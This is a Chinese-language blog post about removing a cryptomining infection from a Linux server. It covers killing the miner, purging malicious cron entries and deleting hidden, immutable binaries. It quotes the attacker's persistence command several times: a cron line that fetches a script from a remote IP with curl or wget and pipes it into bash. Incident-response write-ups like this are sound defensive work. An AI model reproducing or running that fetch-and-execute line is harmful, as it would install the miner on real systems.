服務器的某個服務掛了,查看行程時發現CPU例外,初步判斷是挖礦病毒

# 根據行程IP查看該行程的運行狀態
ps -ef | grep 114621
root 114621 1 99 17:48 ? 01:31:05 /usr/sbin/.rsyslogds
kill -9 114621
# 禁用或卸載curl wget
yum remove -y wget
whereis curl
curl: /usr/bin/curl /usr/share/man/man1/curl.1.gz
mv /usr/bin/curl /usr/bin/curl.bak
# 清理定時任務
# 命令 crontab -l 查看, -e 修改洗掉
crontab -l
30 23 * * * root (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
# /var/spool/cron/ 目錄下存放的是每個用戶包括root的crontab任務,每個任務以創建者的名字命名
cat crontabs/root
30 23 * * * (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -rf crontabs/root
# /etc/crontab 這個檔案負責調度各種管理和維護任務 這里正常
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
# /etc/cron.d/ 這個目錄用來存放任何要執行的crontab檔案或腳本
ls /etc/cron.d
0hourly apache nginx root
# 例外的都清理掉
cat apache
30 23 * * * root (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -f apache
rm -f nginx
rm -f root
# 可以把腳本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目錄中,讓它每小時/天/星期、月執行一次, 這里依次查看
ls /etc/cron.hourly/
0anacron oanacroner1
cat /etc/cron.hourly/oanacroner1
(curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -f oanacroner1
# 清除檔案
ls /usr/sbin/.rsyslogds*
/usr/sbin/.rsyslogds
/usr/sbin/.rsyslogds.sh
rm -rf /usr/sbin/.rsyslogds
rm: 無法洗掉"/usr/sbin/.rsyslogds": 不允許的操作
# 查看檔案屬性
lsattr /usr/sbin/.rsyslogds
----ia---------- /usr/sbin/.rsyslogds
chattr -i /usr/sbin/.rsyslogds
chattr -a /usr/sbin/.rsyslogds
chattr -u /usr/sbin/.rsyslogds
rm -f /usr/sbin/.rsyslogds
rm -f /usr/sbin/.rsyslogds.sh
# 又一個例外行程 .inis 這個是查找并重啟病毒的腳本
pgrep -f .inis | xargs kill -9
grep -r "192.210.200.66" -l
/usr/sbin/.inis
rm -f /usr/sbin/.inis

至此就告一段落了,至少top出來沒有例外的行程
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/415262.html
標籤:其他
